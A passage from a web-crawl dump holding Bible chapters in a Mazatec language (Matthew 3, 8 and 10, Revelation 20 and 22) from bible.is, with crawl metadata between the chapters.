tsá'bí skanda ñánda̱ nga kàtjì‑ni nga ko̱kje̱n‑ko̱ Abraham ko̱ Isaac ko̱ Jacob ya̱ ñánda̱ nga tíbatéxoma jè ra 'tse̱ ngajmi. 12Tanga jñà xi̱ta̱ ra ya̱ kjòn bako̱‑ila̱ nga ya̱ kítsa̱jna, ki̱náchrjejin‑ní; ya̱á si̱kasén ya̱ ndi̱tsiaán ya̱ ñánda̱ nga 'ñó jñò chon, ko̱ ya̱á ngi ski̱ne̱‑nè ni̱'ño̱ nga ski̱ndaya. 13'Kia̱á kitsò‑la̱ Jesús jè chíchàn ítjòn ra̱kìi̱: ―'Tin‑ni ya̱ ni'ya‑li; ko̱ koni 'sín nga nda makjiín‑li, ko̱'sín katama. Ti̱jé kjón‑ni hora kjonda‑ni jè chi̱'nda‑la̱ xi̱ta̱ ra̱kìi̱. 14Jesús kijí ya̱ ni'ya‑la̱ Pedro; 'kia̱ nga ijchò, kijtse‑ní nga kiyaá jè na̱chíya‑la̱ jè Pedro, nga 'chin tijnga tjín‑la̱. 15Jesús tsaká'ta‑la̱ tsja jè ndí chjo̱ón ra̱kìi̱, ko̱ ndi̱to̱ón kjonda‑ni jè 'chin tijnga ra tjín‑la̱; kjomá tsasítje̱n‑ni ko̱ a̱kjòn isìsin‑la̱ jè Jesús. 16'Kia̱ nga ijye kjòjñò, jñà xi̱ta̱ 'jiìkó‑la̱ Jesús nga'tsì xi̱ta̱ ra kiya, ra inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱. Jesús ta jngoó 'én kiìchja̱‑la̱ nga ma itjokàjin‑ni ya̱ inìma̱‑la̱ xi̱ta̱ jñà inìma̱ 'cho‑la̱ ni̱í; ko̱ ti̱'koa̱á kjondaá‑ni nga'tsì xi̱ta̱ ra kj'ií 'chin tjín‑la̱. 17Kií ko̱'sín kjomà‑ni mé‑ni nga itjasòn‑ni koni 'sín kitsò jè xi̱ta̱ ra tsi'kìn Isaías, jè ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé nga kitsò: \"Jè tsjahíxìn jè 'chin ra tjín‑ná ko̱ jè kisìkjiín kjo̱hi'in nga kjonda‑ni ñánda̱‑nioo̱ nga ajò ijo‑ná.\" 18'Kia̱ nga kijtse Jesús nga 'ñó kjìn ma‑ni jñà xi̱ta̱ ra kitsendí‑la̱, kitsjá‑la̱ kjo̱hixi̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga ya̱ katafì ya̱ ra ijngoa ndáchikon ján. 19Jngo xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ijchò kasi'ta‑la̱ Jesús, nga kitsò‑la̱: ―Maestro, mején‑na nga ko̱jmetjíngi‑la ni̱'sín ta ñánda̱ 'kín. 20Jesús kitsó‑la̱: ―Jñà ni̱nda̱ tjín‑la̱ nga̱jo̱‑la̱, ko̱ jñà ni̱se ti̱'koa̱á tjín‑te‑la̱ tjé‑la̱, tanga 'a̱n, ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, tsìn‑na i̱'nde ñánda̱ nga ma síkjáya. 21Ìjngo xi̱ta̱ ra ya̱ kotá'yá'ta‑la̱ kitsò‑la̱: ―Na̱'ìn, ti̱'nde ítjòn‑ná nga kjín kihíjian jè na̱'ìn‑na̱. 22Jè Jesús kitsó‑la̱: ―Nchrabátji̱ngi‑ná ra ji̱, ti̱jmí nga kátíhijin‑la jñà mi'ken‑la̱ ra ti̱'koa̱ mi'ken. 23'Jaha'sen Jesús ya̱ chitso ko̱ a̱kjòn tsakáhijtako̱‑te jñà xi̱ta̱ ra kotá'yá'ta‑la̱. 24Ta ndi̱to̱ón 'ji jngo tjo̱xkón ko̱ jtsí ra inchrabà‑ni ya̱ a̱jin ndáchikon. 'Ñó tsáfangi nandá, ko̱ jè chitso kja̱meé iskajin‑ndá. Tanga jè Jesús tsakjajnafé‑ní. 25'Kia̱á kiì sí'ká‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ya̱ ñánda̱ nga kjijnafè Jesús nga kitsò‑la̱: ―Na̱'ìn, ti̱kinda̱‑náji̱n. Ijyeé‑la ska̱jin‑ndé nga'tsì‑ná. 26'Kia̱á kitsò Jesús: ―Jiòn, ¿mé‑ni skon‑no? ¿A mí kji'ta takòn Nainá? 'Kia̱á tsasítje̱n Jesús; kitsjá‑la̱ kjo̱hixi̱ jè tjo̱xkón ko̱ jè ndáchikon, ko̱ ndi̱to̱ón isijyò‑ni ko̱ a̱kjòn kjondayá‑ni. 27Jñà xi̱ta̱ ra ya̱ kotá'yá'ta‑la̱ tà kjóxkón‑la̱, 'kia̱á kitsò‑la̱ xákjín: ―¿Yá‑ni xi̱ta̱ ra̱kìi̱? ¿Mé‑ni skanda síhitjasòn‑la̱ jè tjo̱ ko̱ jè ndáchikon? 28'Kia̱ nga ijchò Jesús ya̱ ra ijngoa ndáchikon ján, ya̱ nangi Gadara, jò xi̱ta̱ ijchò kincha'ta‑la̱ ra ya̱ itjo‑ni ya̱ nga̱jo̱ ñánda̱ nga kjihijyo mi'ken. Jñà xi̱ta̱ kìi̱, inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱ ko̱ batoó kjàn; skanda mí yá ra ma 'fahaya ya̱ ndi̱yá ra̱kìi̱. 29Ko̱ 'ñó kiìchja̱ nga kitsò: ―¿Mé kjoa̱ ra tjín‑naji̱n ra kondra̱ tsa̱ji, Jesús ra I'ndí‑la̱ Nainá 'mì‑li? ¿A kií xá kà'fìi̱‑ni nga tje̱n 'ki̱‑náji̱n kjo̱hi'in 'kia̱ nga ti̱kje bijchó ni̱chjin? 30Ti̱ya̱á‑ni chraña'ta‑la̱, kjín jchán ma‑ni chi̱nga̱ ra ya̱ tjíma nga i̱nchibakjèn. 31Jñà inìma̱ 'cho‑la̱ ni̱í ra títsa̱jin ya̱ inìma̱‑la̱ xi̱ta̱ kìi̱ tsikítsa'baá‑la̱ Jesús, kitsò‑la̱: ―Tsa ki̱náchrjekàjin‑náji̱n ya̱ i̱jndíi̱, ti̱'nde‑náji̱n nga ya̱ ki̱tjáha̱'se̱n‑jin‑ji̱n ya̱ ijo‑la̱ chi̱nga̱ kiòo̱. 32'Kia̱á kitsò‑la̱ Jesús: ―Nda tjín, ya̱ tangió. Jñà inìma̱ 'cho‑la̱ ni̱í itjokàjiín ya̱ ijo‑la̱ xi̱ta̱ kìi̱, a̱kjòn 'jaha'sen‑jin ya̱ ijo‑la̱ chi̱nga̱. Nga'tsì chi̱nga̱, ta indaá tsahachikon‑jen‑jno kixi̱ skanda ya̱ a̱jin ndáchikon, ko̱ ya̱á 'ken nga'tsiòo̱. 33Jñà xi̱ta̱ ra i̱nchiko'ndá jñà chi̱nga̱, jahachinga‑ní. 'Kia̱ nga ijchò ya̱ ñánda̱ na̱xi̱ndá, tsi'kéna̱jmí ijye‑ní koni 'sín kjomà'tin jñà xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í tjíjin inìma̱‑la̱. 34'Kia̱á kijì nga'tsì xi̱ta̱ na̱xi̱ndá nga kiì katsíjen‑la̱ jè kjoa̱ ra kjomà. 'Kia̱ nga kijtse Jesús, tsikítsa'baá‑la̱ nga xìn i̱'nde katafì.\nSan Mateo 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/8","date":"2013-12-10T07:24:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164012753\/warc\/CC-MAIN-20131204133332-00030-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":870,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.345,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kìjtseè jngoaá àkja̱le̱ xi tínchrobájen‑ne ngajmiì. 'Ya ibi̱ ts'e̱ ni̱tja̱n jñò. Kjiya tsja jngoò na'ñó ki̱cha̱ cadena xi 'ñó je kji. 2Jè àkja̱le̱ kitsobà'ñó jè ye̱ jchínga xi ti̱jè‑ne xi 'mì Xi̱ta̱ Nei̱í ko̱ xi Satanás. Jngoò jmiì nó tsibít'aà'ñó. 3Kisìkatje̱n‑s'en ya̱ ni̱tja̱n jñò; tsibíchjoà'ñó‑la̱ jè xotjoa̱; i̱kjoàn tsasíjna‑la̱ sello mé‑ne nga mì yá skíx'a̱‑ne jè xotjoa̱ ni̱tja̱n. Ya̱á tsasíjnahi̱ya mé‑ne nga mì ti̱ kiì ko̱ma skóna̱cha̱n‑la̱ xi̱ta̱ i̱sò'nde, skanda k'e̱ nga kjoe̱het'aà xi jngoò jmiì nó. Xi ko̱ma i̱skan tjájnda̱'ñó ìjngoò k'a‑ne nga ko̱ma ko̱jmeèndei̱í chiba na̱chrjein ìsa̱. 4Kìjtseè íxi̱le̱ ts'e̱ kjo̱tíxoma; títsa̱jnasòn jñà xi̱ta̱ xi kitjoé‑la̱ kjo̱tíxoma nga jñà koi̱ìndaàjiìn. Ti̱koa̱ kìjtseè ini̱ma̱‑la̱ jñà xi̱ta̱ xi kitiís'iìn, nga koi kjoa̱‑la̱ 'én kixi̱ xi kitsjaà i̱t'aà ts'e̱ Jesús ko̱ nga 'én‑la̱ Nainá kiìchja̱ya. Jñà xi̱ta̱ koi, mìkiì kijtseèxkón jè cho̱ je xi ch'o kji ko̱ i̱sén xkósòn‑la̱; ti̱koa̱ mìkiì kisit'aà chi̱ba̱‑la̱ i̱tjòn tjen‑la̱ ko̱ tsja. Xi̱ta̱ koi, ìjngoò k'a tsibítsa̱jnakon; jngoò jmiì nó tsatíxoma ko̱ Cristo. 5Jñà xi̱ta̱ koi xi jaáya ítjòn‑la̱. Ta̱nga jñà mik'en xi i'nga, skanda k'e̱é jaáya‑la̱ nga ijchò jngoò jmiì nó. 6Mé ta ndaà‑la̱ jñà xi ko̱ko̱‑la̱ nga kjoa̱áya ítjòn‑la̱; xi̱ta̱ koi, jyeé xi̱ta̱‑la̱ Nainá ko̱ma; jè kjoa̱ biyaà xi ma‑ne jò, ni̱mé nga'ñó tjín‑la̱ i̱t'aà ts'e̱ xi̱ta̱ koi; mì ti̱ mé ma si̱ìko̱‑ne. Tà sa̱á no̱'miì‑la̱ Nainá ko̱ma ko̱ ts'e̱ Cristo. Jngoò jmiì nó ko̱tìxomako̱. 7K'e̱ nga kjoe̱het'aà xi jngoò jmiì nó, tjájnda̱'ñó ìjngoò k'a‑ne jè Satanás ya̱ ñánda tíjnahi̱ya ni̱tja̱n jñò. 8Ki̱tjondei̱í‑ne nga skóna̱cha̱n‑la̱ xi̱ta̱ na̱xa̱ndá xi tjín nga tíjtsa i̱sò'nde, jè Gog ko̱ Magog. Koi̱ìxkóya xi̱ta̱ mé‑ne nga koi̱ìts'ia̱‑ne kjo̱jchán. Kjín jchán ko̱ma xi̱ta̱, k'oa̱á ngaya‑la̱ koni tsomì xi jncha i̱ndiì ndáchikon. 9Chinchimasòn kóho̱kji i̱sò'nde; chinchandiì‑la̱ nga jngoò itjandiì ñánda títsa̱jna xi̱ta̱‑la̱ Nainá ko̱ na̱xa̱ndá xi tsjakeè. I̱kjoàn kisìkasén ni'ín Nainá xi inchrobà‑ne ngajmiì. Jngoò k'a tsaká kóho̱tjín. 10Jè xi̱ta̱ nei̱í xi kiskoòna̱cha̱n‑la̱ xi̱ta̱, kinìkatje̱n‑jiìn ya̱ i̱'nde ñánda títìjnga̱ ni'ín ko̱ azufre. Jyeé ya̱ títsa̱jna jè cho̱ je xi ch'o kji ko̱ xi kiìchja̱ya 'én ndiso. Ya̱á si̱ìkjeiín kjo̱'in ko̱ na̱chrjein ko̱ ni̱tje̱n ni̱ta̱ kjé‑ne. 11Kìjtseè jngoò íxi̱le̱ xi chroba kji ko̱ 'ñó je kji nga ya̱ tíjnasòn jngoò xi tíhotíxoma. Nga nguixko̱n jè xi tíjnasòn íxi̱le̱, jngoò k'a kichijà nangui ko̱ ngajmiì. Ni̱ta̱ ñánda‑ne, mì ti̱ kiì ki'ya‑la̱. 12Kìjtseè mik'en xi i̱xti kjoàn ko̱ xi xi̱ta̱ jchínga kjoàn, 'ncha kixi̱ nguixko̱n Nainá. I̱kjoàn kitáx'a̱ jñà libro [ñánda tjít'aà mé xi kis'iìn nga jngó jngó xi̱ta̱]; koa̱ ìjngoò libro kitáx'a̱ ñánda tjít'aà ts'e̱ kjoa̱binachon. Jñà mik'en, k'oa̱á s'ín kisindaàjiìn‑la̱ koni s'ín tjít'aà xo̱jo̱n ts'e̱ libro, mé kjoa̱ xi kis'iìn. 13Jè ndáchikon kitsjaà jñà mik'en xi ya̱ k'en‑jiìn. Jè kjoa̱biyaà ko̱ i̱'nde kjo̱'in ti̱koa̱á kitsjaà mik'en xi ya̱ títsa̱jna. K'oa̱á s'ín kisindaàjiìn‑la̱ nga jngoò ìjngoò xi̱ta̱ koni tjín kjoa̱ xi kis'iìn. 14- 15Jè kjoa̱biyaà ko̱ i̱'nde kjo̱'in kinìkatsjoòjiìn ñánda títì ni'ín jnga̱. Ko̱ jñà mik'en xi mìkiì tjít'aà 'ín‑la̱ jè libro ts'e̱ kjoa̱binachon, ti̱koa̱á ya̱á kinìkatsjoòjiìn ñánda títì ni'ín jnga̱. Jè xi ma‑ne jò kjoa̱biyaà.\nApocalipsis 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/20","date":"2013-12-12T06:00:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164554256\/warc\/CC-MAIN-20131204134234-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000039339065552}","num_words":482,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè àkja̱le̱ tsakó jngoò‑na xa̱jngá nandá xi kijna tsjeè tsjeè, jè nandá xi bítsa̱jnakon‑ná ni̱ta̱ mé na̱chrjein‑ne. K'oa̱s'ín tsjeè kji koni chi̱tsín. Ya̱á tíbitjo ñánda síjna íxi̱le̱‑la̱ Nainá nga tíhotíxoma ko̱ ya̱á tíbitjo ñánda tíjna jè Orrè. 2Ya̱ jngoò osen ndi̱yá‑la̱ na̱xa̱ndá tífa nandá. Ko̱ ya̱ ngobà ngobà xa̱jngá nandá, ya̱á síjna jè yá xi tsjá kjoa̱binachon ni̱ta̱ mé na̱chrjein‑ne. Tejò k'a ojà‑la̱ toò nga jngoò nó. Jngoò jngoò k'a ojà‑la̱ toò nga ìjngoò ìjngoò sá. Jñà xka̱‑la̱, k'oa̱á s'ín mochjeén nga maxkiì‑la̱ na̱xa̱ndá ts'e̱ i̱sò'nde. 3Mì ti̱ mé kjoa̱ ch'o s'e̱‑ne xi mìkiì sasén‑la̱ Nainá. Ya̱á sasíjna jè íxi̱le̱‑la̱ Nainá ko̱ ts'e̱ Orrè nga ko̱tìxoma. Ko̱ ngats'iì xi̱ta̱ chi̱'nda‑la̱, ya̱á si̱ìxá‑la̱. 4Ngats'iì xi xi̱ta̱‑la̱ ma, skoe̱xkon‑né kó kji i̱sén‑la̱ Nainá; ko̱ jè 'ín‑la̱ Nainá ya̱á si̱t'aà i̱tjòn tjen‑la̱. 5Ya̱ i̱'nde jè, mì ti ko̱jñò‑ne. Jñà xi̱ta̱ xi ya̱ títsa̱jna, mì ti̱ ni'ín ko̱chjeén‑la̱ xi si̱ìhiseèn‑la̱, ti̱koa̱á mì ti̱ ts'oí ko̱chjeén‑la̱; nga jè sobá Na̱'èn‑ná xi Nainá si̱ìhiseèn‑la̱. Jñà xi̱ta̱ ko̱tìxoma ni̱ta̱ mé na̱chrjein‑ne. 6Jè àkja̱le̱ kitsò‑na: ―'Én koi, nguì k'oa̱á s'ín tjín nga ki̱tasòn; nguì 'én kixi̱‑né. Jè Na̱'èn‑ná xi Nainá xi síkíchi̱ya‑la̱ jñà xi̱ta̱ xi chja̱ ngajo‑la̱, koií xá kisìkasén‑ne àkja̱le̱‑la̱ nga ko̱kò‑la̱ xi chi̱'nda‑la̱ ma jñà kjoa̱ xi ta ni̱to̱ón o̱ko̱ma. 7―Ti̱ná'ya‑ná. 'A̱n, kjoíi ni̱to̱ón ìjngoò k'a. Mé tà ndaà‑la̱ jñà xi síkitasòn jñà 'én xi kitsjaà Nainá koni s'ín tíchja̱ xo̱jo̱n jè. 8'A̱n‑ná xi 'mì‑na Juan, 'a̱án ki'nchrè koa̱ kìjtseè kjoa̱ koi. K'e̱ nga jye ki'nchrè koa̱ jye kìjtseè, tsohósi̱jna-xkó'nchi-niñiat'aà‑la̱ jè àkja̱le̱ xi tíhokó‑na̱ kjoa̱ koi, nga mejèn‑na skoexkoán. 9Ta̱nga jè àkja̱le̱ kitsò‑na̱: ―Kì k'oa̱á 'nì. Jè Nainá jcha̱xkoín. 'A̱n, ti̱koa̱á chi̱'nda‑la̱ Nainá ma, koni ngaji̱, ko̱ xi̱ta̱ xingui̱i xi chja̱ ngajo‑la̱ Nainá, ko̱ ngats'iì xi̱ta̱ xi síkitasòn 'én xi tjít'aà xo̱jo̱n jè. 10K'oa̱á ti̱s'ín kitsò‑na̱: ―Kì bìjna'ma jñà 'én xi Nainá kitsjaà xi tjít'aà xo̱jo̱n jè, nga jyeé nchrobá machrañà na̱chrjein nga ki̱tasòn. 11Jñà xi̱ta̱ xi mìtsà kixi̱ títsa̱jna nguixko̱n Nainá nga ch'o s'ín, ta k'oa̱á s'ín kàtìtsa̱jna. Ko̱ jñà xi tjín‑la̱ kjoa̱kixi̱ ko̱ tsjeè títsa̱jna nga nguixko̱n Nainá, k'oa̱á ti̱s'ín kàtasíkitasòn xi kjoa̱kixi̱ ko̱ kjoa̱tsjeè. 12―Ti̱ná'ya, 'a̱n, kjoíi ni̱to̱ón ìjngoò k'a. Ya̱á kjoi̱ikoa̱a chjí‑la̱ xi tsjaà‑la̱ xi̱ta̱ koni s'ín kis'iìn nga ìjngoò ìjngoò. 13'A̱n‑ná xi tìjna̱ ítjoàn skanda tàts'en‑la̱ kjoa̱ ko̱ skanda fehet'aà‑ne. 'A̱n‑ná xi tsibìts'ia̱a ko̱ xi sikjehet'aà‑na kjoa̱. 'A̱n‑ná xi tìjna̱ ítjoàn ko̱ xi fehet'aà‑ne. 14Mé ta ndaà‑la̱ jñà xi̱ta̱ xi [jní‑la̱ Orrè] sítsjeè‑ne nikje‑la̱ mé‑ne nga tjò'nde‑la̱ nga ski̱ne̱ toò‑la̱ yá xi tsjá kjoa̱binachon, ti̱koa̱ ko̱ma kjoa̱has'en xotjoa̱‑la̱ jè na̱xa̱ndá. 15Ta̱nga ndi̱tsiaán kítsa̱jna, ngats'iì jñà xi̱ta̱ xi ch'o s'ín, ko̱ jñà xi xi̱ta̱ tj'e, ko̱ jñà xi kjoa̱ chijngui s'ín, ko̱ jñà xi xi̱ta̱ sík'en, ko̱ jñà xi xkósòn beèxkón ko̱ ngats'iì xi tsjakeè kjoa̱ ndiso nga 'én ndiso chja̱. 16―'A̱n xi 'mì‑na Jesús, 'a̱án kisìkasén‑nò àkja̱le̱‑na̱ nga tsjá‑nò 'én i̱t'aà ts'e̱ kjoa̱ koi, jñò xi xi̱ta̱ na̱xa̱ndá‑na̱ ma. 'A̱n‑ná jè jts'én xi itjot'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn xi ki'mì David. 'A̱n‑ná ni'ño tse xi 'ñó ote kji xi bitjokàtji k'e̱ nga ta̱jñòya. 17Jè Ini̱ma̱ Tsjeè‑la̱ Nainá ko̱ chjo̱ón‑la̱ Orrè, tsò‑né: ―Nchroboí [Na̱'èn Jesús]. Jñà xi nchi'nchré, k'oa̱á ti̱ kàtatsò: ―Nchroboí [Na̱'èn Jesús]. Jñà xi xíndá‑la̱ ko̱ xi mejèn‑la̱ nandá, kàtjanchrobá, kàt'iì kjo̱tjò nandá xi tsjá kjoa̱binachon. 18'A̱n, k'oa̱á xan‑nò, ngats'ioò xi na'yà‑là jñà 'én xi kitsjaà Nainá xi tjít'aà xo̱jo̱n jè: Tsà yá xi ki̱ìt'aàsòn kjoa̱ xi tjít'aà xo̱jo̱n jè, Nainá k'oa̱á ti̱s'ín tsjásòn‑la̱ kjo̱'in koni s'ín tjít'aà xo̱jo̱n jè. 19Tsà yá xi kjoa̱áxìn jngoò‑la̱ 'én xi kitsjaà Nainá xi tjít'aà xo̱jo̱n jè, Nainá, ti̱koa̱á kjoa̱áxìn kjo̱ndaà xi tjí'nde‑la̱ nga ski̱ne̱ toò‑la̱ yá xi tsjá kjoa̱binachon ko̱ mìkiì tsjá'nde‑la̱ nga ya̱ kítsa̱jna na̱xa̱ndá tsjeè‑la̱ Nainá koni s'ín tjít'aà xo̱jo̱n jè. 20Jè xi béno̱jmí kjoa̱ koi, k'oa̱á tsò: ―Jon, kjoi̱i ni̱to̱ón ìjngoò k'a. K'oa̱á s'ín kàtama. ¡Nchroboí Na̱'èn Jesús! 21Kjo̱ndaà‑la̱ Na̱'èn‑ná Jesucristo kàtìjnako̱‑nó ngats'ioò. K'oa̱á s'ín kàtama.\nApocalipsis 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/22","date":"2013-12-05T19:28:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163047214\/warc\/CC-MAIN-20131204131727-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":626,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà na̱chrjein koi j'iì Juan xi kis'iìn bautizar xi̱ta̱ ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn, nangui xi chja̱‑ne Judea, nga kisìka'bí 'én‑la̱ Nainá, 2kitsò: ―Ti̱kájno jé‑nò, kì ti̱ jé binchaàtsji‑nò nga jyeé kjòchrañàt'aà‑nò na̱chrjein nga jcha̱a kó s'ín otíxoma jè xi ngajmiì nchrobá‑ne. 3Jè Isaías, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, k'oa̱á s'ín kiskiì xo̱jo̱n‑la̱ xi i̱t'aà ts'e̱ Juan nga kitsò: Na'yà‑la̱ jta̱‑la̱ jngoò xi̱ta̱ xi 'ñó chja̱ ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn, nga tsò: \"Tjandaà ndi̱yá‑la̱ Nainá ya̱ i̱jiìn ini̱ma̱‑nò; kixi̱ ti̱kíjna koni jngoò ndi̱yá ñánda ko̱jmeèya Na̱'èn‑ná.\" 4Nikje xi tsohòkjá Juan, tsja̱‑la̱ cho̱ camello‑né; ko̱ jngoò sincho̱ chrjoa̱ tsibíkjá ndáyá‑la̱. Koa̱ jñà tsojmì xi kiskine, cho̱ langosta‑né ko̱ tsjén‑la̱ cho̱ cera xi tjín i̱jiìn ijñá. 5Ijchò 'nchré‑la̱ xi̱ta̱ xi inchrobà‑ne Jerusalén, ko̱ nga kijndà nangui Judea ko̱ ngats'iì na̱xa̱ndá xi ya̱ chrañàt'aà‑la̱ xa̱jngá nandá Jordán. 6K'e̱ nga jye tsafátakòn jé‑la̱ jñà xi̱ta̱, Juan, i̱kjoàn kis'iìn bautizar ya̱ xa̱jngá nandá Jordán. 7K'e̱ nga kijtseè Juan nga kjìn xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo j'iì nga ko̱ma bautizar, kitsò‑la̱: ―¡Jñò, k'oa̱á s'ín ngaya‑nò koni tsà tje̱‑la̱ ye̱! ¿Yá xi o̱kitsò‑nò nga ki̱nchat'aàxìn‑là jè kjo̱'in xi nchrobá machrañàt'aà‑nò? 8Ndaà tjín kjoa̱ xi t'e̱en nga ndaà kàta'ya‑nò nga jyeé kinìkájno jé‑nò nga mì ti̱ jé binchaàtsji‑nò. 9Kì k'oa̱á s'ín nìkítsjeèn i̱jiìn ini̱ma̱‑nò nga bixón: \"Ngaje̱n, [mìkiì s'e̱‑naje̱n kjo̱'in nga] ya̱á inchrobàt'aà‑naje̱n tje̱‑la̱ Abraham.\" K'oa̱á xan‑nò, Nainá, skanda jñà nda̱jo̱ ko̱ma‑la̱ si̱ìkjatjìya‑la̱ nga i̱xti‑la̱ Abraham ko̱ma. 10Jè ki̱cha̱yá jyeé kjijnandaà nga ko̱tesòn yá; ngats'iì yá xi 'mì ndaà toò ojà‑la̱, skanda ko̱ i̱ma̱‑la̱, jtísòn‑né, i̱kjoàn si̱nchájiìn ni'ín nga ki̱ti̱. 11Xi o̱kixi̱, 'a̱n ko̱ó nandá s'i̱in‑nò bautizar, mé‑ne nga si̱kájnoò jé‑nò ko̱ mì ti̱ jé ki̱nchátsji‑nò. Ta̱nga jè xi nchrobátji̱ngui‑na s'iìn‑nò bautizar ko̱ Ini̱ma̱ Tsjeè‑la̱ Nainá koa̱ ko̱ ni'ín. Ìsa̱á tjín‑la̱ nga'ñó mì k'oa̱á‑ne 'a̱n. Skanda mìkiì tjí'nde‑na̱ nga 'a̱n kjíkoa̱a xo̱jté‑la̱. 12Jyeé kjinaya tsja jè pala nga si̱ìtsjeè tjé‑la̱ trigo. Ki̱nchàxkó trigo ya̱ i̱ya ni'nga; ko̱ jè tjé paja ki̱nchàjiìn ni'ín ñánda nga mìkiì bits'o ni̱ta̱ mé na̱chrjein‑ne. 13Jesús j'iì‑ne Galilea ya̱ xa̱jngá nandá Jordán nga mejèn‑la̱ nga jè Juan s'iìn bautizar Jesús. 14Ta̱nga jè Juan k'e̱ nga sa̱ ítjòn mìkiì kòkjeiín‑la̱, kitsò‑la̱ Jesús: ―'A̱án xi mochjeén‑na nga ji̱í s'e̱en‑ná bautizar, ta̱nga ngaji̱, ta̱ sa̱á 'a̱n f'iìchòn‑ná. 15K'e̱é kitsò Jesús: ―Tjiì‑lè kjo̱ndaà, t'e̱en‑ná bautizar mé‑ne nga k'oa̱s'ín si̱kitasoán kjo̱tíxoma‑la̱ Nainá. K'e̱é kòkjeiín‑la̱ Juan. 16K'e̱ nga jye komà bautizar Jesús, k'e̱ nga jye itjojiìn‑ne nandá, i̱kjoàn kitáx'a̱‑la̱ ngajmiì, ko̱ jè Jesús kijtseè Ini̱ma̱ Tsjeè‑la̱ Nainá xi inchrobàjen‑ne ngajmiì, koni kji ni̱se paloma kji; ya̱á kiskaàsòn‑la̱ Jesús. 17K'e̱é kina'yà jngoò‑la̱ 'én xi ngajmiì inchrobà‑ne xi kitsò: ―Jè jèe̱ xi ki'ndí‑na̱ xan‑la̱ xi 'ñó matsjake̱; tsja tjín‑la̱ takoàn i̱t'aà ts'e̱.\nSan Mateo 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/3","date":"2013-12-12T01:40:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164333763\/warc\/CC-MAIN-20131204133853-00042-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000022649765015}","num_words":439,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga ko̱ma i̱skan Jesús kiìchja̱‑la̱ xi̱ta̱‑la̱ xi tejò ma‑ne xi kota'yàt'aà‑la̱, kitsjaà‑la̱ kjo̱tíxoma nga ko̱ma ko̱chrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tjín‑la̱ xi̱ta̱ koa̱ ko̱ma‑la̱ si̱ìndaà‑nè ni̱ta̱ mé ch'in‑ne nga ijòjno ijòt'aà yijo‑la̱ xi̱ta̱. 2Jñà 'ín‑la̱ xi̱ta̱ xi tejò jaàjiìn Jesús nga tsibíxáya‑la̱: jè tíjna ítjòn, Simón xi ti̱koa̱ Pedro ki'mì, ko̱ Andrés xi 'ndse̱ ma Pedro; Jacobo ko̱ 'ndse̱ Juan xi i̱xti‑la̱ Zebedeo; 3Felipe, Bartolomé, Tomás, ko̱ Mateo jè xi kisìkíchjítjì tsojmì ts'e̱ Roma; Jacobo, ti‑la̱ Alfeo; Lebeo xi ti̱koa̱ Tadeo ki'mì; 4Simón, xi̱ta̱ xi ya̱ fìt'aà‑la̱ xi̱ta̱ cananista; ko̱ Judas Iscariote jè xi kisìnga̱tsja kondra̱‑la̱ Jesús. 5Jesús kisìkasén nga tejò xi̱ta̱ xi kota'yàt'aà‑la̱ nga kisìka'bí 'én‑la̱ Nainá koa̱ kitsjaà‑la̱ kjo̱tíxoma, kitsò‑la̱: ―Mìkiì onguió ya̱ i̱'nde‑la̱ jñà xi mìtsà xi̱ta̱ judío; ti̱koa̱ mìkiì bitjaàs'en‑jñoò ya̱ na̱xa̱ndá‑la̱ xi̱ta̱ Samaria. 